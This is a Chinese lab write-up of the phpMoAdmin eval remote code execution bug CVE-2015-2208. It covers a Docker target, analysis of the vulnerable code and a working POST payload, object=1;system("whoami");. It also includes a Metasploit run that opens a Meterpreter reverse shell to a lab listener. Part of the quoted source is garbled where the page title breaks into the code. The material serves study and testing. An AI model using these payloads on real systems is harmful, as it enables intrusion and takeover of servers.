phpmoadmin 远程代码执行 (CVE-2015-2208)

描述: phpMoAdmin 是一个用PHP 开发的在线MongoDB 管理工具,可用于创建、删除和修改数据库和索引,提供视图和数据搜索工具,提供数据库启动时间和内存的统计,支持JSON 格式数据的导入导出。 moadmin.php 开头检查POST是否传输了object,随后内包含的if进行判断,这个过程即调用了当前类的saveObject方法,POST传入object参数的值带入eval后就造成了代码执行。

环境搭建

靶机:CentOS7(192.168.2.101:8888)

利用vulhub一键搭建docker环境:

docker pull ptantiku/cve-2015-2208
sudo docker run -d -p 8888:80 ptantiku/cve-2015-2208

至此 环境搭建完毕

漏洞分析

www/html/moadmin.php第693行:

public function saveObject($collection, $obj) {eval('$obj=' . $obj . ';'); //cast from string to arrayreturn $this->mongo->selectCollection($collection)->save($obj);}

发现了eval函数,看看那些函数调用了saveObject

发现该函数只被调用了一次

www/html/moadmin.php第787行:

if (isset($_POST['object'])) {if (self::$model->saveObject($_GET['collection'], $_POST['object'])) {return $this->_dumpFormVals();} else {$action = 'editObject';$_POST['errors']['object'] = 'Error: object could not be saved - check your array syntax.';}} else if ($action == 'creatphpMoadmin CVE-2015-2208 远程代码执行漏洞分析eCollection') {self::$model->$action($_GET['collection']);} else if ($action == 'renameCollection'&& isset($_POST['collectionto']) && $_POST['collectionto'] != $_POST['collectionfrom']) {self::$model->$action($_POST['collectionfrom'], $_POST['collectionto']);$_GET['collection'] = $_POST['collectionto'];$action = 'listRows';}

上文代码为函数__construct的代码段_

可以发现eval处的$obj是post传输进来的,参数名为object

构造函数(constructor method,也称为构造器)是类中的一种特殊函数,当使用 new 关键字实例化一个对象时,构造函数将会自动调用。

很明显,在1977行处实例化了moadminComponent对象

$mo = new moadminComponent;

因此漏洞出现的位置和原理已经很明确了。

漏洞利用

构造payload:

object=1;system("whoami");

命令执行成功!

msf中也继承了对该漏洞的利用

msf6 exploit(multi/http/phpmoadmin_exec) > show options Module options (exploit/multi/http/phpmoadmin_exec):Name       Current Setting  Required  Description----       ---------------  --------  -----------Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]RHOSTS     192.168.2.101    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'RPORT      8888             yes       The target port (TCP)SSL        false            no        Negotiate SSL/TLS for outgoing connectionsTARGETURI  /phpmoadmin      yes       The URI path of the PHPMoAdmin pageVHOST                       no        HTTP server virtual hostPayload options (php/meterpreter/reverse_tcp):Name   Current Setting  Required  Description----   ---------------  --------  -----------LHOST  192.168.2.104    yes       The listen address (an interface may be specified)LPORT  4444             yes       The listen portExploit target:Id  Name--  ----0   PHPMoAdminmsf6 exploit(multi/http/phpmoadmin_exec) > exploit [*] Started reverse TCP handler on 192.168.2.104:4444
[*] Executing payload...
[*] Sending stage (39282 bytes) to 192.168.2.101
[*] Meterpreter session 1 opened (192.168.2.104:4444 -> 192.168.2.101:54428) at 2022-01-07 11:13:03 +0800lsmeterpreter >
meterpreter > ls
Listing: /var/www/html/phpmoadmin
=================================Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100644/rw-r--r--  113923  fil   2013-05-28 13:08:52 +0800  moadmin.phpmeterpreter > whoami
[-] Unknown command: whoami.
meterpreter > ls
Listing: /var/www/html/phpmoadmin
=================================Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100644/rw-r--r--  113923  fil   2013-05-28 13:08:52 +0800  moadmin.phpmeterpreter > shell
Process 96 created.
Channel 0 created.
ls
moadmin.php

phpmoadmin 远程代码执行 (CVE-2015-2208)相关推荐

  1. php x24 x65 x6d x61,Jboss远程代码执行漏洞CVE:2013-4810获得system权限

    此方法成功的渗透至Windows系统并获得最高权限exp 此方法成功的渗透至Windows系统并获得最高权限 exp ?php/*Apache Tomcat/JBoss EJBInvokerServl ...

  2. linux内核远程漏洞,CVE-2019-11815:Linux内核竞争条件漏洞导致远程代码执行

    *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 运行了Linux发行版的计算机设备,如果内核版本小于5.0.8的话,将有可能受到一 ...

  3. 绿盟科技网络安全威胁周报2017.17 请关注Squirrelmail 远程代码执行漏洞CVE-2017-7692...

    绿盟科技发布了本周安全通告,周报编号NSFOCUS-17-17,绿盟科技漏洞库本周新增84条,其中高危40条.本次周报建议大家关注 Squirrelmail 远程代码执行漏洞 .SquirrelMai ...

  4. linux内核竞争条件漏洞,Linux内核竞争条件漏洞-导致远程代码执行

    原标题: Linux内核竞争条件漏洞-导致远程代码执行 导读*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 运行了Linux发行版 ...

  5. cve-2017-12617 tomcat远程代码执行漏洞复现测试

    0x00前情提要 Apache Tomcat团队10月3日宣布,如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操 ...

  6. cve-2019-1821 思科 Cisco Prime 企业局域网管理器 远程代码执行 漏洞分析

    前言 不是所有目录遍历漏洞危害都相同,取决于遍历的用法以及用户交互程度.正如你将看到,本文的这个漏洞类在代码中非常难发现,但可以造成巨大的影响. 这个漏洞存在于思科Prime Infrastructu ...

  7. drupal cve-2018-7600 远程代码执行漏洞 简介

    漏洞分析 Drupal 在 3 月 28 日爆出一个远程代码执行漏洞,CVE 编号 CVE-2018-7600,通过对比官方的补丁,可以得知是请求中存在 # 开头的参数.Drupal Render A ...

  8. windows server 2012 远程连不上_CVE20201350 | Windows DNS Server远程代码执行漏洞通告

    0x00 漏洞概述 CVE   ID CVE-2020-1350 时     间 2020-07-15 类     型 RCE 等     级 严重 远程利用 是 影响范围 0x01 漏洞详情 微软于 ...

  9. [网络安全自学篇] 六十四.Windows安全缺陷利用之SMBv3服务远程代码执行(CVE-2020-0796)复现及防御机理

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了hack the box的OpenAdmin题目,结合Nmap.Gob ...

最新文章

  1. php json_decode 后,数字对象转换成了 科学计数法 的解决方案
  2. 输入十个数,输出其中最大数、下标,用函数实现
  3. CCNA考试中实验题精讲(RIP,OSPF,VLAN)
  4. ML.NET 1.4 发布,跨平台机器学习框架
  5. opensource项目_Opensource.com 2015社区奖的获奖者
  6. 李彦宏:我从未说过百度“All in AI”,这得怪陆奇
  7. /etc/sudoers文件的分析以及sudo的高级用法
  8. 2017-2018-1 20155328 《信息安全系统设计基础》第13周学习总结
  9. 高性能JavaScript 笔记之 第2章 数据访问
  10. 即时通讯源码,IM源码-哇谷即时通讯源码,哇谷团队源码开发
  11. linux断开网络的命令,Linux常用网络命令总结
  12. 网易云音乐java爬虫_Java爬取网易云音乐民谣并导入Excel分析
  13. 0033【MySQL】Mysql备份导入异常:@@GLOBAL.GTID_PURGED can only be set when @@GLOBAL.GTID_EXECUTED is empty
  14. RuntimeError: Unable to open shape_predictor_68_face_landmarks.dat
  15. 爬虫笔记——东方财富科创板数据爬取(requests方法)
  16. xiuno论坛目录结构摸索记录【hook】
  17. 使用AD中的自带的元件库问题处理
  18. 使用头文件winbase.h的错误
  19. 16. 设计模式之契约原则:如何做好 API 接口设计?
  20. 织梦cms教程:自定义表单添加提交时间

热门文章

  1. 几本牛X的数据分析好书!
  2. 4核处理器_网红评测软件:AMD处理器多核性能作弊,以后超过4核的性能只算2%...
  3. HTML、CSS、JS实现轮播图效果:包含分页按钮及切换箭头
  4. C# 开发企业订货系统构架,手机版本订货/订单系统
  5. JProfiler 9.1注册码
  6. i7处理器 支持linux,华硕P8P67主板,I7处理器,8G存储空间的配置能装RED LINUX系统吗...
  7. 目标检测常用损失函数-类别损失+位置损失
  8. 目前网罗的各种有关Kinect的有趣应用
  9. Ubuntu安装无线网卡(USB)驱动
  10. aws服务器使用root+密码登陆